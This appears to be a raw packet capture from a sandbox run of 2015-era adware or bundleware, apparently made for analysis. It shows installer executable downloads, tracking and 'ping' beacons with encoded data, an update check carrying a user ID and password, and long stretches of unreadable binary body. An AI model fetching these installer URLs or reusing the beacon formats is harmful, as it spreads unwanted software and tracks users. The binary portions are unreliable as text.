&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH..
...........0Q..)..{.`.##x.....F.W<. ...*..x..<.$9E.[.-q.WW..(.I.
 [email protected]..._-...."[email protected]~..,/...;.
.m..%..h^[email protected].~<<E.........J.B[a.W}.g._.W.l.~<..
....$.2].G......L......b...G.......".Ib.X*..Q.q.D...2.".B.).%..d..,..&
gt;.5..j>.{.-.]c..K'.Xt.......o..(...h...w..?.G.%..fI.q..^D$.T..?..
..D..*.A....,.........`6.B$..B.B.d..r`)..B(....*`/[email protected]..=p..
a...(....A...a!...b.X#......!.H...$ ...Q"K.5H1R.T UH..=r.9.\F..;..2...
.G1...Q=...C..7..F...dt1......r..=.6....h...>C.0....3.l0...B.8,..c.
."......V.....c..w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.X
H,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,  .......3...!.[.
[email protected].(R.jJ....4..e.2AU..R...T.5.ZB...R.Q...4u.9...IK......h.h.i..t.
....N..W...G.....w.......g(.....g.w...L......T071......oUX*.*|.....J.&
..*/T.......U.U.T..^S}.FU3S......U..P.S.Sg.;...g.oT?.~Y...Y.L.OC.Q.._.
.. .c..x,!k...u.5.&...|v*......=...9C3J3W.R..f?...q..tN..(...~....).).
.4L.1e\k....X.H.Q.G..6......E.Y...A.J'\'Gg.....S.S.....M=:....k....Dw.
n.....^..Lo..y....}/.T.m...G.X...$.....<.5qo<./...QC][email protected]....
..<..F.F..i.\.$.m.m..&.&!&KM.M..RM..).;L;L........5.=1.2.......
<<< skipped >>>

GET /thumbnails/icon/images/assets/5/6/567f43cb72fe3ac6419369953394cadd.png HTTP/1.1


Accept: */*
Referer: hXXp://VVV.appshat.com/home
Accept-Language: en-US
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)
Host: VVV.appshat.com
Connection: Keep-Alive
Cookie: symfony=01fnp9vcg08u4tvg037tpffer5



..u....J2..=$.sGS.3...>e.............J.-}.j.\ka.J.z...2$.2..rwR5.,.
...4..4..Z.4....(f.)..11p(.....x..Ni....x$..k..S!...f...-.....=.{.....
R.....m........^-.....(.!.ni.....([email protected]. ...........a..A...Z
.#.......(...^.....a...8....P.=N.G:....h"..E.=.[.%..:............C...7
R......o...>`...-.....=s.....t..=...?....]....v.?...x...6U....,....
-Ve.n$...g.ie...6.Y.....6.P..v`(.Fx.6.*.T.e...\n...........o..=..* ...
3...2....]...U.g$.....2...-... c`..|. .Q..0.9# .|..`..`[email protected]@...\.*
..c...?.S..Z....y..4..........!........6....`'@*....g.=.82....>a{&^
D%.V.`.@.?...f.]..O?..8.........@`[email protected]..}.R.P......z`..c..
.......H.F^...l..**.V ...5y.......\n.^{........y@.._.4.?.......;..... 
..V..\...........)._..Z....\[email protected][email protected]...
... O.r.d...q&..........._...}..{=..x13.n....</.{C.7.y....{..L.....
......>.g..9.......6$....V.....l{..T@..|..%s..4._Ju....T....I.w.8.K
[email protected].~.......P.Z...*..X.u=.|..B7n..R-.....-....a.{;....E....b....
/[email protected].....~......P....Q ^..@<...2N..yo.i/..mv*@.8H....gy..M
.l&...6..o\l.....T............p.......WZ.r...[o.......N....|...x..g..Y
_.j6...Bm..........r...m...d.h]n...P.r>[oe}p..?.eca....'...%.......
..E?.......9..U7|.M.....,..`H.'.X.]e.....?.....l......!;..p.c...F.(...
.bkXp...#.i.mn'A..m..m.4...`.w.../......"~..*.".....Mo.Y.X..v5.[_.*..x
.....0#.."....bt.P.....D.....OW..x..9...i.Y.jqPV/.........b.......O...
u..*~....]./" ?.n..../.._......X.\[email protected]....!....s..|<.K......[
_..l&..O..?...d......%...mZ...>a.j.GS.o..!$.F.L%HA....q...W....
<<< skipped >>>


GET /v4/sof-ient/267123711_198339_B48A115F?action0=xa.geoip&action2=visit&update0=ref,smt&update1=nation,us&update2=language,en&update3=version,2.8.8.2102&update4=chptid,smt HTTP/1.1
Connection: Keep-Alive
User-Agent: Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0) in my heart of heart.
Host: xa.xingcloud.com


HTTP/1.1 200 OK
Server: nginx/0.7.67
Date: Wed, 15 Apr 2015 02:29:17 GMT
Content-Type: text/html; charset=utf-8
Transfer-Encoding: chunked
Connection: keep-alive
X-Powered-By: PHP/5.3.3
xa-api-version: v4
48..{"stats":"ok","time":"0.59 ms","message":"store 3 action and 5 upd
ate "}..0......


GET /v4/sof-ient/267123711_198339_B48A115F?action1=install.smt HTTP/1.1


Connection: Keep-Alive
User-Agent: Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0) in my heart of heart.
Host: xa.xingcloud.com


HTTP/1.1 200 OK
Server: nginx/0.7.67
Date: Wed, 15 Apr 2015 02:29:17 GMT
Content-Type: text/html; charset=utf-8
Transfer-Encoding: chunked
Connection: keep-alive
X-Powered-By: PHP/5.3.3
xa-api-version: v4
48..{"stats":"ok","time":"2.37 ms","message":"store 1 action and 0 upd
ate "}..0..HTTP/1.1 200 OK..Server: nginx/0.7.67..Date: Wed, 15 Apr 20
15 02:29:17 GMT..Content-Type: text/html; charset=utf-8..Transfer-Enco
ding: chunked..Connection: keep-alive..X-Powered-By: PHP/5.3.3..xa-api
-version: v4..48..{"stats":"ok","time":"2.37 ms","message":"store 1 ac
tion and 0 update "}..0..



GET /online/update.aspx?CV=2.0.0.0&ProductID=12000&UserID=7d5ca32b-c72e-44ea-92a3-4dba40a0a6c6&Password=Qss0KrCy&OS=10&V=3.3.9.5&VS=0&Beta=0&Aff=smtyc0_0_0_0_0,0a07b856-4afb-4d38-b0a2-1b317b4453c9,&BundleID=NONE&BrandID=NONE&PartnerList=&XMLVersion=0&UpdateReason=0&resver=1.0.0.8&VA_Aff=NONE&ElapsedTime=1429064921&SBPIDS=1 HTTP/1.1
User-Agent: CoreWinInet
Host: online.GOOBZO.com
Cache-Control: no-cache
Cookie: ASP.NET_SessionId=yryr1ujhx150s145etznmk55


HTTP/1.1 200 OK
Connection: close
Date: Wed, 15 Apr 2015 02:28:41 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Cache-Control: no-cache, no-store
X-AspNet-Version: 2.0.50727
Cache-Control: private
Content-Type: text/html; charset=utf-8
Content-Length: 100546
<RESULT>.<LICENSE><STATUS>YaBhX1FVSUY=</STATUS>
;<EXPIRATION>0</EXPIRATION></LICENSE><UPDATE>.
<EXIST>0</EXIST>.<VERSION></VERSION>.<PAGE_
URL></PAGE_URL>.<DOWNLOAD_URL></DOWNLOAD_URL>.<
;DOWNLOAD_FILENAME></DOWNLOAD_FILENAME>.</UPDATE>.<S
TATS><COLLECT>1</COLLECT></STATS>.<YTA><
CONFIG><SITES><LEN>99864</LEN>..<ZIP>0</
ZIP>..<XMLVERSION>20131113143800</XMLVERSION><DATA&g
t;..hzmx6NSdzPupSuFmPETTOwEaP5MtN3k5B2a5khhOAdWUsYMpoVIMyJmCvgMilCqVBj
4UbQPeysvtYNiJVZNbRiQ7kiQsDUsNZ3MEYy1JfoBg o4pFsDooC00NO31pfd X8nXxC3V
p1HfKOwdgo62mJR71PwoZndR4AVDfbY4 9wFzk5tF 7727dskH5IZvVtCTpSQRswno298p
arAhgqN6qT czhzLjGJDuSJCwNSw1xwvWc8nan6y8O2JpeHgh8bMQc3Btg097LREoQ8w0F
1OQktY78pcFTqkKychePn/BkFKYzMvpZMy3oEVdiQxtA5xdCc2YpO8/CTqFCBwPADyfxYv
2FEVfbbiJm9OYFcu118IHvVTOrVQafL QEq0UE2pvXQCRnwiLKkp2rjL8gdMtEShDzDQXU
5CS1jvylwVOqQrJyF4 f8Dt4Oelu3aKGRqumrg /iFozngL0PZo7xV IapaBL0J2JDuSJC
wNSw0svxf0mAsRlmEq8DYMfNoIOuCvQUIqzx3Jp/JaHAbdZcJOoUIHA8AP5qvMAtrk934H
d6DRXxR/qRhAvBesE3Xujk7yXbEuF7GpHiEFiCgrxFB5bOBLlmCPV7tVm0pUOGtH43b05W
UQ5y/jTrneLb7G3yjsHYKOtpgOWQYwQw2yOF7cSHoRn1cSqUrhZjxE0zsejhg2EGJPm5Xv
sdYcwlgFCPIGtJXT5or44D/zrQcOo12lJj5r3ojdmAGFido 37oT3SwxUyBYApR71PwoZn
dR4AVDfbY4 9zwk5A4Jnge/RPdLDFTIFgCZLLU7dfR VD VN6OwG s/84tOgdW/RrWk0GO
NPWePfzAC91wf62CJMVfxez40MStk0GONPWePfwyH243G2GPaN L3Yb09J2jjg1O9xFNo7
LRCtQYSZvjaZZMK3muQBGik0GONPWePfwyH243G2GPaN L3Yb09J2jjg1O9xFNo7Ku
<<< skipped >>>


GET /23783.ashx?e=2v0SNuZrMFzXE3CBqGdJyVTMxLPMegp5ecAmwoMDzzeMDmRWpWBZ0CAvELRpepitjKjHf0fty0gsvrWM 2Yqs3AXDn0NgasyWLazpewXw1g ltfx41nMghQC drCF7eFTvYhKMprBayhLBQe2rbTMasyuDjWX8vLsJJPlhy2jdwTqcwBDTHruRy5x0Up4A3P HTTP/1.1
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: pn61ajqijj0-g48pastf.netdna-ssl.com


HTTP/1.1 200 OK
Date: Wed, 15 Apr 2015 02:28:19 GMT
Content-Length: 0
Connection: keep-alive
Cache-Control: private, no-store
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Server: NetDNA-cache/2.2
X-Cache: MISS
....


GET /23783.ashx?e=eISsn0A7mAaebxLgvS5H7qpNEI 1DWq56i9SI6jSynH8ln8Iap23/wrmOSgIBLqiUA7dl9owwhL1x9NKeiwpd/ZTlDOie/S4Aiuex2EYWMhDBISkYz7TwWJ/JG1uxdSaFjCwIjKziMWX1FtTkCv6XLu5bbroEEpm4nJwzEzT2yGx2KlVs8m8LqSlVGmgAnwDgZiB55ZFi60OR0krlKQ7F8bgudtyb2GHUpJKSCTMkzXQKXEmxfmo7VnJIjIlWHyXiu2tbKFpYG13f64oXp7sffRe18ke5PqUolQ9N4vKzl4ltILkcPZHlLF3YFs/ceKLXDQxT8NdYE8= HTTP/1.1


User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: pn61ajqijj0-g48pastf.netdna-ssl.com


HTTP/1.1 200 OK
Date: Wed, 15 Apr 2015 02:28:20 GMT
Content-Length: 0
Connection: keep-alive
Cache-Control: private, no-store
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Server: NetDNA-cache/2.2
X-Cache: MISS
HTTP/1.1 200 OK..Date: Wed, 15 Apr 2015 02:28:20 GMT..Content-Length: 
0..Connection: keep-alive..Cache-Control: private, no-store..X-AspNet-
Version: 4.0.30319..X-Powered-By: ASP.NET..Server: NetDNA-cache/2.2..X
-Cache: MISS..



GET /monetization.gif?event=3&ibic=f1455de99fbc9c9080e7ed2fd747836eIE&verifier=b2eb32d323f5359842a735827d51a4f5&campaign=000820&country=ua&app=65743&os=7(64bit)&defbro=ie&chver=41.0.2272.118&ffver=29.0.1&iever=10.0.9200.16521&starttime=1429064960&asw=0_1082139141_-2147475456_0&browser=ff&rnd=1429064960 HTTP/1.1
Host: logs.dropopenobject.com
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 200 OK
Date: Wed, 15 Apr 2015 02:29:22 GMT
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Accept-Ranges: bytes
ETag: "1389114507"
Last-Modified: Tue, 07 Jan 2014 17:08:27 GMT
Cache-Control: max-age=86400
Content-Length: 35
Content-Type: image/gif
X-HW: 1429064963.dop010.fr7.t,1429064962.cds021.fr7.c
GIF89a.............,...........D..;HTTP/1.1 200 OK..Date: Wed, 15 Apr 
2015 02:29:22 GMT..Keep-Alive: timeout=5, max=100..Connection: Keep-Al
ive..Accept-Ranges: bytes..ETag: "1389114507"..Last-Modified: Tue, 07 
Jan 2014 17:08:27 GMT..Cache-Control: max-age=86400..Content-Length: 3
5..Content-Type: image/gif..X-HW: 1429064963.dop010.fr7.t,1429064962.c
ds021.fr7.c..GIF89a.............,...........D..;..



GET /images/Tokyo/tokyoLightGrayStripesBG.jpg HTTP/1.1
Accept: */*
Referer: hXXp://bi.bisrv.com/grooveload/grooveload/608d3271d8f3494f867a2b514a49c4e9?v=2.1&uid=608d3271d8f3494f867a2b514a49c4e9&muid=AD2252CE007468623BD139B0ADEC3423
Accept-Language: en-US
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)
Host: d1tlvbabel9f8s.cloudfront.net
Connection: Keep-Alive


HTTP/1.1 200 OK
Content-Type: image/jpeg
Content-Length: 3430
Connection: keep-alive
Server: nginx
Date: Tue, 14 Apr 2015 11:02:12 GMT
Last-Modified: Tue, 14 Apr 2015 08:31:54 GMT
ETag: "552cd07a-d66"
Expires: Tue, 14 Apr 2015 11:12:12 GMT
Cache-Control: max-age=600
Accept-Ranges: bytes
Age: 472
X-Cache: Hit from cloudfront
Via: 1.1 105d89977b3b597f82611afd69996fe6.cloudfront.net (CloudFront)
X-Amz-Cf-Id: sOsqWNopBI9JmLxjGL_FC7aR-bcirE4OQ-iiqzmfalkMS0NCdbaeQw==
......JFIF.....H.H.....C..............................................
......................C...............................................
..........................D.."......................................".
...................U......a...........................................
.................?....................................................
......................................................................
......................................................................
.................................' x.eo...r...V...' x.eo...r...V...' x
.eo...r...V...' x.eo...r...V...' x.eo...r...V...' x.eo...r...V...' x.e
o...r...V...' x.eo...r...V...' x.eo...r...V...' x.eo...r...V...' x.eo.
..r...V...' x.eo...r...V...' x.eo...r...V...' x.eo...r...V...' x.eo...
r...V...' x.eo...r...V...' x.eo...r...V...' x.eo...r...V...' x......@.
[email protected]....]..l....]....=... }w..... }w...0
[email protected][email protected]....]..l....]....=... }w..... }
[email protected][email protected]....]..l....]....=... }w..
... }[email protected][email protected]....]..l....]....=...
 }w..... }[email protected][email protected]....]..l....]...
.=... }w..... }[email protected][email protected]....]..l...
.]....=... }w..... }[email protected][email protected]....].
.l....]....=... }w..... }[email protected][email protected].
...]..l....]....=... }w..... }[email protected][email protected].
...l....]..l....]....=... }w..... }[email protected]..................
<<< skipped >>>

GET /sponsored/istartsurf/eula-istartsurf.html HTTP/1.1


Accept: application/x-ms-application, image/jpeg, application/xaml xml, image/gif, image/pjpeg, application/x-ms-xbap, */*
Referer: hXXp://bi.bisrv.com/grooveload/grooveload/608d3271d8f3494f867a2b514a49c4e9?v=2.1&uid=608d3271d8f3494f867a2b514a49c4e9&muid=AD2252CE007468623BD139B0ADEC3423
Accept-Language: en-US
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)
Host: d1tlvbabel9f8s.cloudfront.net
Connection: Keep-Alive


HTTP/1.1 200 OK
Content-Type: text/html
Transfer-Encoding: chunked
Connection: keep-alive
Server: nginx
Date: Sun, 12 Apr 2015 04:53:18 GMT
Last-Modified: Sun, 26 Oct 2014 17:24:16 GMT
Expires: Sun, 12 Apr 2015 05:03:18 GMT
Cache-Control: max-age=600
Content-Encoding: gzip
Vary: Accept-Encoding
X-Cache: RefreshHit from cloudfront
Via: 1.1 105d89977b3b597f82611afd69996fe6.cloudfront.net (CloudFront)
X-Amz-Cf-Id: TuGxNG43ogN4U3WismZ6rEDKngWwtfznJwsYdvj9fJCbGr29PWnIcQ==
139c.............Z.s...... ..4.Z....m......g..........#y.>X|.b:....
....R.f&q........]<...o......Y.En.~....s39...}|>..q.....W_]....s
U.....J.........m7....v;.~<.......-.:....'.h.,k........"/..{.9...Ou
...l.?........;......oo.>....M\......G/.....S...f.....V..k..]...\._
...eW......d.1....{z.v....vy....r\...4.zvVvy~..}6........im..z.Y....k.
..Y.6.M.t...........O..O?.....a...M.V....nk.q.W.....w.....7..7.....~..
..>.....V....u.4.).RK....[...B....z....h....;H.....^Ze..o^.W..*].b.
.....~.5?>.?z..,.lw..\;....n...r..5A....*..lK.......|weW_..M......'
.z.......i.l......>....f.k_.p.E....v.$.4...x...y.^9I.zr.4..e.`...Q.
..f7.Wf.k.gS..~.:.....n.....W>..;J..&:...P......<.k..x........k[
C#g..].......(c...)~x......................^...y"...}.N.....)....<_
Ve{......ts;<[....g..`.4..K..#.]?.#.rE.%.{fR...Ilu....'..S..c.l....
'..=.{od...H....=>...}fN.r..G...H.............Ac.../.|........Cc.S.
...Z..\..h.....;.&iL.v..Sf........>..v ...6H.%.....j.\.....t.....7%
<[email protected]>.a/Bi|..1[[email protected]....]..)..|......X^.....<.G\.B..*3I
68..R.f....-.w...........u....E.2...w&u....q...... [email protected]..._...B.
rgZ_....U......>.j.m2....w.C...Z...M...w.^g. .....HO1....g.r... ..6
.P.o...... i.......z.B...9../[email protected]_....2....7.%
. .B....^.[.?N.....w.74........ 6.E_.j["kB..k..x.2'.L.N..Z6..ZN.E\!.7}
z....T...MyJp.aoY.1....x.\...iP.t.....3*.)...4.p...4.l.li.kD.W.......J
...n.=......f"..O@s|n.....m<B.J".Y.<....C.....!;#7.p..2..&.A.{.K
.....s.mp1.g.K.{P.. M....@....]]../.H.z.!X".b.....hL.W.e....vM...)
<<< skipped >>>


GET /grooveshark/download/install.exe HTTP/1.1
Range: bytes=7811110-
User-Agent: Better Installer(Mozilla)
Host: VVV.scilor.com
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 206 Partial Content
Date: Wed, 15 Apr 2015 02:27:27 GMT
Server: Apache/2
Last-Modified: Fri, 17 Oct 2014 07:36:29 GMT
ETag: "883706-505996c51f940"
Accept-Ranges: bytes
Content-Length: 1115872
Content-Range: bytes 7811110-8926981/8926982
Keep-Alive: timeout=1, max=100
Connection: Keep-Alive
Content-Type: application/x-msdownload
f9 K.s......}...9.U.J...W..HY.......id.P..[.X^....K_...~....0...9.*.;t
.2.D......G..y..>^....#..vg.5).._..J4.0G..}.a.7...(..&.]n....#.q.Lj
*...R...mL..w.......]M'....k..y....nM..'Uer.^VB2...v-*...u....u. P.K..
@&L...NH.$y.8....pB.s..CT....g..^..-....M.-...~....c.t_.....!.v(......
a..P...Z.....6.E....G.>...w/....A...Mj.O.........'..L.........0 .?1
.....l%c.v.........&.c.2.&~?.3-..3N.e....6O....(7;.U....gS..1..{.{K].U
.Q.Ke5@......_...QMN...!.... .XS.6....H.....kQ".|..L!..=HF...y....*j].
........4.....&.~.j......6..._......y>...6a..-U..Y^.'...lC...{..,..
y.*...7..B.{M.j....,...GD!22 ....MB_..M.h...=&..|.....s...p$9...k.T$..
.I....15c"E..v..K.n.z..&.....g.K.U..d..._.M8#..=.m....Tk].^`.xt.......
...K.....O.0P.c.C.....H8..l._.\^/..z......eD.4r;...r.'.....h..J....mF{
.O...P.P._Y...!.[~. ..4.s...V8z.....$...a7E.....f.*.KF... .uCz8.......
v ..8...........Y..x.....G.%%...]s.....!q1...u....>.........y_m#...
........*.w..'Ac....."....{....n*..5.....Bt..wU.....9G.&!...Z....(3Yo.
.h.....~C.~A&..u.*.....P.a.\P(*......W.Y.b...=. .4.....4W...uj.Hw.#.f.
N.H|6..CGz.|...N'..#..4%<..Yk-.$.........:>..i,....6}...R.V/.%..
r..z8q....I..4...d....."..{.j.. ...,.~.w.^...........CxF.....P;...3&.I
S.............qj[.f...l.n..................U.....&..R5B.....;......4..
>N.....{....M...c.^=...qJ.W.P...r.....FO;........`..7.....x\..:..H.
.43...Uml.......l...a[....Xa.....`..9f.l........\....#....s.Hs=......?
...q.......?.V'e}B.V....y.}3..Am.fR...6..~/[email protected]?uf..(.X.gk...!
..3^...................d...u..M`.....8.e...G8.cX.......4.d4..oJJ.%
<<< skipped >>>


GET /mag/ytaiesmt_smtyc_setup.exe HTTP/1.1
User-Agent: Better Installer(Mozilla)
Host: d2otsfra4otprh.cloudfront.net
Cache-Control: no-cache


HTTP/1.1 200 OK
Content-Type: application/octet-stream
Content-Length: 1286329
Connection: keep-alive
Cache-Control: no-cache
Last-Modified: Mon, 23 Mar 2015 09:00:36 GMT
Accept-Ranges: bytes
ETag: "b8e31d44765d01:0"
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
Date: Wed, 15 Apr 2015 02:28:15 GMT
X-Cache: Miss from cloudfront
Via: 1.1 add6ceb4822d467e68d27b0dbaa26dae.cloudfront.net (CloudFront)
X-Amz-Cf-Id: ed3xNYQ8hQIzFV_5VVrMnAGMMo7SjjhurD0HBqgBRAsT2xnaexh4kg==
MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$.......1p.:u..iu..i
u..i...iw..iu..i...i...id..i!2.i...i...it..iRichu..i........PE..L.....
oS.................\...........2.......p....@.........................
.................................................s....................
...................................................................p..
.............................text....[.......\.................. ..`.r
data.......p.......`..............@[email protected]..........
[email protected][email protected]
..............@..@....................................................
......................................................................
......................................................................
......................................................................
......................................................................
............................................U....\.}..t .}.F.E.u..H...
[email protected]@..e...E..E.P.u....r@
..}[email protected]... M.......M....3.....FQ.....NU..M.....
.....VT..U.....FP..E...............E.P.M...Tp@[email protected]
....E..9}[email protected].}.j.W.E......E.......@[email protected]..
[email protected]<[email protected] [email protected]...\r@._
^3.[.....L$...7B...Si.....VW.T.....tO.q.3.;5.7B.sB..i......D.......t.G
.....t...O..t .....u...3....3...F.....;5.7B.r._^[...U..QQ.U.SV..i.
<<< skipped >>>


GET /app/ping.ashx?e=EYAmqppYZO9UzMSzzHoKeclFIF2sauMT2YTeaOaZJPFysSIQM/WMqjEsdSRpTTrrpu3gu7HXmYGCQusjE2lu5McDok662BGy3mdYxkoa5P61J8WDbI2zXWceTUfoD7PiV6vD/UV1iyHQCKxuPRxPeaGzln9Vv6k7XdemwkRcKlLaQaFS VkBZ3QmA92KA lJBPFyFq4etD2F1daz2AcKxastnHeKqEA5dKHj74dJ/dxdnyqIR9QB0CIETjLqLYhFp4qO3H67cr5ESiZEb8HioL/m6q7jb gwD3G1r3Ayy6mKofH8HN0lUh8kpng0IpIJ HTTP/1.1
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: rep.shopper-pro.com
Connection: Keep-Alive


HTTP/1.1 200 OK
Cache-Control: private
Server: Microsoft-IIS/7.5
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Date: Wed, 15 Apr 2015 02:28:38 GMT
Content-Length: 0
....


GET /app/ping.ashx?e=hpY1rXLYst7rylc9w7m97SvLfUo0CTVi8EpdpxxWjuKRoZJTpqsyZxASc9FSZWyoGYsEX4kIHltnnIi6DhqTDVTiXSW154aAYra 8n4adNVYtrOl7BfDWH8SRNladdM9bXKriifhG9zxHHFV7tnwhkh7wLZ3uox395lwett3Vo/0XtfJHuT6lKJUPTeLys5eJbSC5HD2R5Sxd2BbP3Hii3TSfjXL3 wp3Ih1Kfu IMReuT yH/uLbpXYC6GwUCFFL1XwldYyi6o6OPzltHHEh4SKAFSm7JN4Dvl1Ie0NYsXYWYJZ2G1R01VmUCJgsNE AYCsljvoJNwjLw3VULpGjCmtL90K5JhMVO wnJbdjPvjIThxN S9EwTxchauHrQ9hdXWs9gHCsWrLZx3iqhAOXSh4  HSf3cXZ8qiEfUAdAiBE4y6i2IRaeKjtx u3K REomRG/B4qC/5uqu42/oMA9xta9wMsupiqHx/BzdJVIfJKZ4NCKSCQ== HTTP/1.1


User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: rep.shopper-pro.com
Connection: Keep-Alive


HTTP/1.1 200 OK
Cache-Control: private
Server: Microsoft-IIS/7.5
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Date: Wed, 15 Apr 2015 02:28:38 GMT
Content-Length: 0
....


GET /app/ping.ashx?e=EYAmqppYZO9UzMSzzHoKeclFIF2sauMT2YTeaOaZJPFysSIQM/WMqjEsdSRpTTrrpu3gu7HXmYGCQusjE2lu5McDok662BGy3mdYxkoa5P61J8WDbI2zXWceTUfoD7PipsrZDsYYadYLJQuWr4kCVhntxZGpTPDdJj0V1e3C0jlnWpr61EGbEgSa6Z efd4uyZD6A1psf2ya3UsgcT0aYCYwZSN8LSVDWPFvdFnQbsnAA5fsVkEwXwPPQmQ9wV0ecSC1j/7u2ZPAhhKDaeZjYUKf6pfgWlN19 inPTLZDtg= HTTP/1.1


User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: rep.shopper-pro.com
Connection: Keep-Alive


HTTP/1.1 200 OK
Cache-Control: private
Server: Microsoft-IIS/7.5
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Date: Wed, 15 Apr 2015 02:28:39 GMT
Content-Length: 0
....


GET /app/ping.ashx?e=EYAmqppYZO9UzMSzzHoKeclFIF2sauMT2YTeaOaZJPFysSIQM/WMqjEsdSRpTTrrpu3gu7HXmYGCQusjE2lu5McDok662BGy3mdYxkoa5P4xEz6FfERdwJw4LO6ub5l5rBjqlmzKnb1Tx2y1fQnwbvamwkcEQSgO2M/VB50wH9zL8Hq6Ocmu0jR8nfSY9YHcwn0GoGPKVvnzbANYrsS2gUJYmXsRYyUuOBh9NmQ0xfNaOxGiX/AiXz4BIAZdfMSn9utsQSo1fcVWLfeo/B59z4BlKlGJcuDg HTTP/1.1


User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: rep.shopper-pro.com
Connection: Keep-Alive


HTTP/1.1 200 OK
Cache-Control: private
Server: Microsoft-IIS/7.5
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Date: Wed, 15 Apr 2015 02:28:39 GMT
Content-Length: 0
HTTP/1.1 200 OK..Cache-Control: private..Server: Microsoft-IIS/7.5..X-
AspNet-Version: 4.0.30319..X-Powered-By: ASP.NET..Date: Wed, 15 Apr 20
15 02:28:39 GMT..Content-Length: 0......


GET /app/ping.ashx?e=ZfTZC8DxP8ZUzMSzzHoKeZnhoWWPiNC12YTeaOaZJPFysSIQM/WMqjEsdSRpTTrrpu3gu7HXmYGCQusjE2lu5McDok662BGy3mdYxkoa5P57HEv67ptHclD/oBpUX5crnl1xOKDZuhX43G01TipW9reVFPQewwTdqF2K7v3Wx4P3iSFFCNvSibmv2IW2mkLW4Sygye4Bx OK6Bbaa/22ORm1WAVEoCJv19NF8iFPkx0iOaWqTBqFeebV9s/TXOLcauIrXLinhTKzmHP80WGvKSHXMlB3ZX1tpq73FZdDH/8= HTTP/1.1


User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: rep.shopper-pro.com
Connection: Keep-Alive

GET /app/ping.ashx?e=Feo0TQZfu6JPNjxRBLtb436NKt PVDaMt8f6YpiR28IQ9XpMu3JNOBkCEmVIqL1mNLauzg57SDTLHu3VbtnNNfW7fKPXFAvotNHatfm97UrXmz2ZWq7EeY4CjMIbuSmdGKzY45zi1OnWyB8eDAkaikyNo/Tb6k0OWO0o0lcgU2xnWpr61EGbEgSa6Z efd4uyZD6A1psf2ya3UsgcT0aYCYwZSN8LSVDWPFvdFnQbsnAA5fsVkEwXwPPQmQ9wV0ecSC1j/7u2ZPAhhKDaeZjYceFfSuOsPNu9 inPTLZDtg= HTTP/1.1
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: rep.shopper-pro.com
Connection: Keep-Alive


HTTP/1.1 200 OK
Cache-Control: private
Server: Microsoft-IIS/7.5
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Date: Wed, 15 Apr 2015 02:28:39 GMT
Content-Length: 0
....


GET /app/ping.ashx?e=emKxDesqhYcsXAWAU9YfxrOyhnbcvLwf 0R MP RL3UJOLXkS9L/h2bktPzt6FdqxfTT8yqkoA8mWSQRWp/qMkNxuHu0vCJ1PWfQa8x9cgckyeawv50oOJw4LO6ub5l5rBjqlmzKnb1Tx2y1fQnwbvamwkcEQSgO2M/VB50wH9zL8Hq6Ocmu0jR8nfSY9YHcwn0GoGPKVvnzbANYrsS2gUJYmXsRYyUuOBh9NmQ0xfNaOxGiX/AiXz4BIAZdfMSn9utsQSo1fcWpgCwEJ5LvUYBlKlGJcuDg HTTP/1.1


User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: rep.shopper-pro.com
Connection: Keep-Alive


HTTP/1.1 200 OK
Cache-Control: private
Server: Microsoft-IIS/7.5
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Date: Wed, 15 Apr 2015 02:28:39 GMT
Content-Length: 0
HTTP/1.1 200 OK..Cache-Control: private..Server: Microsoft-IIS/7.5..X-
AspNet-Version: 4.0.30319..X-Powered-By: ASP.NET..Date: Wed, 15 Apr 20
15 02:28:39 GMT..Content-Length: 0......


